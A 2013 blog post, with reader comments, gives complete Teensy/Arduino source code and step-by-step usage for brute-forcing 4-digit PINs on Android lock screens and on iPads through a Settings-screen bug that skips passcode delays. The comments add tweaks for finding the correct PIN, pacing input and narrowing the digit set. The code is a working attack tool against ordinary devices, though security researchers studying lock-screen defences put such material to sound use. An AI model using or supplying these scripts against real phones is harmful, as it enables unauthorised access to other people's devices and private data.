Monday, June 3, 2013

Online Brute-forcing Android and iOS PIN Lock with Teensy

Preface

So recently I was playing with iOS and Android devices, and saw a video on Hak5 by Darren Kitchen about  Brute-forcing Android PIN Lock with Rubber Ducky (see [1] and [2]). Now, I don't have a Rubber Ducky, only Teensy 2.0 and 3.0 boards and I prefer them anyway, since they are giving me more flexibility (plus, the Teensy 3.0 is pretty powerful too). Also, they are a lot more cheaper :).

I looked for an Arduino code for Teensy, but I only found a similar project for DigiStump's DigiSpark Model A [3], so I decided to write a small, quick and dirty program for Teensy.

Android PIN lock


I bought a USB-OTG cable and stared playing with it. Luckily (or unluckily?), on Android, the only penalty for wrong PINs is 30 seconds after 5 tries. A quick calculation, and you can see that a 4 digit PIN takes a little less than 17 hours to brute-force.

The good news at least is that you are not limited to 4 digits. Android supports PIN lock up to 17 digits (however, I don't know who the hell can remember a 17 digit PIN number...)

Hardware needed

  • Teensy 3.0 or Teensy 2.0 or even Teensy++ 2.0
  • Apple iPad Camera Connection Kit (USB On-The-Go. The USB OTG systems can drop the hosting role and act as normal USB devices when attached to another host - you can get it in every electronic store)
  • USB A type plug (male) to USB MINI-B type (male) cable in case of Teensy++ 2.0 or Teensy 2.0 or USB A type plug (male) to USB MINI-A type (male) cable in case of Teensy 3.0
  • A USB-OTG Android phone :)
The first two hardware parts can be seen on the picture below:


Code

The code was written in the Arduino IDE. I know that the PIN brute-force part can be written using only the loop() without the for loops, like in [3], but I think it is easier to understand the code like this, and I don't think it has any real difference in terms of performance for this case.

Since brute-forcing even a 4 digit PIN takes a little less than 17 hours, you probably will not be able to do it in one run because the battery will die before that, so I decided to define the digitX_start and digitX_stop global variables to  make the setting of the start and end values for the PINs to try more comfortable. This way you can divide the 10000 total combination into five 2000 PIN chunks for example, and between them, you could charge the battery of the target phone.

During the PIN brute-forcing part, the On-Board LED is turned on while we wait 30 seconds between 5 tries in order to indicate that the Teensy it is currently waiting (I shamelessly stole this idea from the code found on [3]).

After all the PINs were tried once, I keep on hitting enter every 2,5 seconds to avoid the automatic screen lock, and start blinking the On-Board LED to signal that the PIN brute-forcing part has finished.

/*==========================================================================================
Purpose:  4-Digit PIN Brute Force attack for USB-OTG Android devices using Teensy 3.0
Author:   David Szili
Version:  1.0
==========================================================================================*/

// Flag to indicate if the PIN crack is finished or not
int finishedPINcracking = 0;

// Teensy 3.0 has LED on 13
const int ledPin = 13;

// Where to begin the PIN loops
const int digit1_start = 0;
const int digit2_start = 0;
const int digit3_start = 0;
const int digit4_start = 0;

// Where to stop the PIN loops  
const int digit1_stop = 9;
const int digit2_stop = 9;
const int digit3_stop = 9;
const int digit4_stop = 9;

void setup()
{
  // Initialize the digital pin as an output.
  pinMode(ledPin, OUTPUT);
  
  // Wait 5 seconds to prepare the Android Device
  delay(5000);
}

void loop()
{
  // Make the PIN cracking loops first
  if ( finishedPINcracking == 0 )
  {
    // Start going throuhg all the PIN conbinations
    for( int digit1 = digit1_start; digit1 <= digit1_stop; digit1++ )
    {
      for( int digit2 = digit2_start; digit2 <= digit2_stop; digit2++ )
      {
        for( int digit3 = digit3_start; digit3 <= digit3_stop; digit3++ )
        {
          for( int digit4 = digit4_start; digit4 <= digit4_stop; digit4++ )
          {
            if ( (digit4 == 4) || (digit4 == 9) ) // Wait for 30 seconds after 5 attempts
            {
              // Enter PIN: convert int to String and concatenate them
              Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4));
              for ( int timer = 1; timer <= 6; timer++ ) // 6 * 5 seconds = 30 sec
              {
                // Turn on the On-Board LED to indicate it is waiting
                digitalWrite(ledPin, HIGH);
                // Wait 5 seconds and hit Enter
                delay(5000);
                Keyboard.println();
              }
              // Wait 2 more extra seconds, just to be sure
              delay(2000);
              // Turn off the On-Board LED
              digitalWrite(ledPin, LOW); 
            }
            else // Normal brute-force mode
            {
              // Enter PIN: convert int to String and concatenate them
              Keyboard.print(String(digit1) + String(digit2) + String(digit3) + String(digit4)); 
              delay(500);
              Keyboard.println();
            }
          }
        }
      }
    }
    // Flip the flag to true
    finishedPINcracking = 1;
  }
  // After the PIN cracking loops, hit Enter to avoid automatic screen lock in case of a successful attack
  else
  {
    // Wait 5 seconds and hit Enter and blink the On-Board LED to indicate it is finished
    digitalWrite(ledPin, HIGH);   // Set the LED on
    delay(2500);                  // Wait for 2,5 seconds
    digitalWrite(ledPin, LOW);    // Set the LED off
    delay(2500);                  // Wait for 2,5 seconds
    Keyboard.println();
  }
}

Usage

Well, it's plain simple:

  1. Attach the USB-OTG cable to the Phone.
  2. Attach a USB A to USB MINI-A cable (Teensy 3.0) or USB A to USB MINI-B cable (Teensy++ 2.0 or Teensy 2.0) to the USB-OTG cable.
  3. Attach Teensy to the cable.
  4. Bring in the screen lock screen on the Android Phone. You will have 5 seconds by default to do this, but you can change it in the setup().
  5. Have a coffee/tea/lunch/sleep/whatever while you wait for the results :)

iOS Passcode Lock


I also bought an Apple iPad Camera Connection Kit, that allows you to use a USB keyboard with your iPad and I wanted to use my Teensy to perform an online Brute-forcing against the Simple Passcode Lock, which is the default if you set the Passcode Lock.

Passcode validation is performed at two levels in iOS: one at springboard and another one at kernel level. Brute-force attack performed at springboard level locks the device, introduces delays and may lead to data wipe-out.

The delay levels are (on iOS 6.1.2):
  • After the first 6 tries: 1 minute.
  • After the 7th try: 5 minutes.
  • After the 8th try: 15 minutes.
  • After the 9th try: 60 (!!!) minutes, and 60 minutes for each attempt after that,
  • And after too many attempts, your device may display, "[Device] is disabled, connect to iTunes", or just wipe all data :P
Since a Teensy would simulate a person tapping in a Passcode (meaning that we are on springboard level), I don't think this is a feasible attack.

UPDATE (07/06/2013):


I saw a Hackaday [4] post about iOS PIN brute-forcing. Turns out that even though the attack won't work on the "normal" lock screen, if you use a physical keyboard on the Settings menu while you try to change the Passcode settings, you could ignore the delays because of a bug. :)

The whole thing is well explained on Pierre Dandumont's blog [5], except he didn't published any PoC code. I decided to test it out and publish it, since it only works on the Settings screen and it might be patched by Apple later. It takes about 1,5 hour to check every possible combination (I keep a 0,5 sec pause between each try).

Hardware needed

  • Teensy 3.0 or Teensy 2.0 or even Teensy++ 2.0
  • Apple iPad Camera Connection Kit (it's around 30 Euros)
  • USB A type plug (male) to USB MINI-B type (male) cable in case of Teensy++ 2.0 or Teensy 2.0 or USB A type plug (male) to USB MINI-A type (male) cable in case of Teensy 3.0
  • An iPad or an iDevice compatible with the Apple iPad Camera Connection Kit (Unfortunately, this does not include iPhones...)

The Code

Since there are no real restrictions and it should be really quick, there's not a lot a things to explain here. It's basically the same Arduino IDE code as before, but even more simple. I think, the differences should be obvious to everyone after the code for the Android:


/*==========================================================================================
Purpose:  4-Digit PIN Brute Force attack for iDevices compatible with 
          the Apple iPad Camera Connection Kit devices using Teensy 3.0
Author:   David Szili
Version:  1.0
==========================================================================================*/

// Flag to indicate if the PIN crack is finished or not
int finishedPINcracking = 0;

// Teensy 3.0 has LED on 13
const int ledPin = 13;

// Where to begin the PIN loops
const int digit1_start = 0;
const int digit2_start = 0;
const int digit3_start = 0;
const int digit4_start = 0;

// Where to stop the PIN loops  
const int digit1_stop = 9;
const int digit2_stop = 9;
const int digit3_stop = 9;
const int digit4_stop = 9;

void setup()
{
  // Initialize the digital pin as an output.
  pinMode(ledPin, OUTPUT);
  
  // Wait 5 seconds to prepare the Android Device
  delay(5000);
}

void loop()
{
  // Make the PIN cracking loops first
  if ( finishedPINcracking == 0 )
  {
    // Start going throuhg all the PIN conbinations
    for( int digit1 = digit1_start; digit1 <= digit1_stop; digit1++ )
    {
      for( int digit2 = digit2_start; digit2 <= digit2_stop; digit2++ )
      {
        for( int digit3 = digit3_start; digit3 <= digit3_stop; digit3++ )
        {
          for( int digit4 = digit4_start; digit4 <= digit4_stop; digit4++ )
          {
              // Enter PIN: convert int to String and concatenate them
              Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4));
              delay(500);
          }
        }
      }
    }
    // Flip the flag to true
    finishedPINcracking = 1;
  }
  // After the PIN cracking loops, hit Enter to avoid automatic screen lock in case of a successful attack
  else
  {
    // Wait 5 seconds and hit Enter and blink the On-Board LED to indicate it is finished
    digitalWrite(ledPin, HIGH);   // Set the LED on
    delay(2500);                  // Wait for 2,5 seconds
    digitalWrite(ledPin, LOW);    // Set the LED off
    delay(2500);                  // Wait for 2,5 seconds
    Keyboard.println();
  }
}

Usage

Like I said, it only works on the Settings screen:

  1. Attach the Apple iPad Camera Connection Kit to the iPad.
  2. Attach a USB A to USB MINI-A cable (Teensy 3.0) or USB A to USB MINI-B cable (Teensy++ 2.0 or Teensy 2.0) to the USB-OTG cable.
  3. Attach Teensy to the cable.
  4. Bring in the Settings screen on the iPad, and choose the "Passcode Lock" menupoint. You will have 5 seconds by default to do this, but you can change it in the setup().
  5. Wait for the result.

References


9 comments :

  1. Hi Szili Dávid,

    Its impressive. I want to go further. I want to know the current Pin. But getting errors. Kindly reply me on my email admin@hackersdemocracy.com.

    I modified the last section of the code as :

    // Wait 5 seconds and hit Enter and blink the On-Board LED to indicate it is finished
    digitalWrite(ledPin, HIGH); // Set the LED on
    delay(2500); // Wait for 2.5 seconds
    digitalWrite(ledPin, LOW); // Set the LED off
    delay(2500); // Wait for 2.5 seconds
    Keyboard.println();
    Keyboard.print("Pin Found. Your PIN Is : ");
    Keyboard.print(String(digit1) + String(digit2) + String(digit3) + String(digit4));
    }
    }

    Thanks in Advance.

    ReplyDelete
    Replies
    1. Hi,

      Well the thing is, using only the above code, you will not be able to tell what is the right PIN, as there is no feedback to the Teensy from the phone, and even after you manage to bypass the lock screen, the Teensy will keep on sending in keystrokes.

      If you want to find out the PIN using my code, you can perform a binary search by look for the first half of the PINs and if you manage to unlock the phone, you know that the PIN is in that half, so you can cut that half into 2 parts again and repeat...

      David

      Delete
    2. Hello,

      Your post sounds good to try, but before doing so I would like to ask a doubt.

      Is it possible to use this very same technique for an Android smartphone without USB-OTG support ?

      Thanks.

      Delete
  2. the digits are entering too fast causing the phone to lag how do i delay on entering digits

    ReplyDelete
    Replies
    1. Hi,

      You can swap the lines

      Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4));
      delay(500);

      to something like this:

      Keyboard.println(String(digit1));
      delay(500);
      Keyboard.println(String(digit2));
      delay(500);
      Keyboard.println(String(digit3));
      delay(500);
      Keyboard.println(String(digit4));
      delay(500);

      Like this, the teensy will enter one digit every 0.5 second. Note that it will significantly increase the time of the bruteforce.

      Delete
  3. Do you have any idea how devices such as the iPbox or MFC dongle are able to continue sending pincodes to iPhones, (before the newer 8.X.X IOS versions), even when an iPhone becomes disabled from too many pincode inputs?

    I can send pincodes to the iPhone through the USB camera adapter, but not after it's disabled, yet these devices are able to do so.

    Thanks

    ReplyDelete
  4. Is it possible to connect some kind of light sensor to detect when code is found ? I mean stick light sensor to phone's screen and stop bruteforce while screen state changes.

    ReplyDelete
  5. If you knew the pin was 4 digits and only consisted of three numbers lets say 3,6,9. How could you modify the code to only use a combination of those three numbers?

    ReplyDelete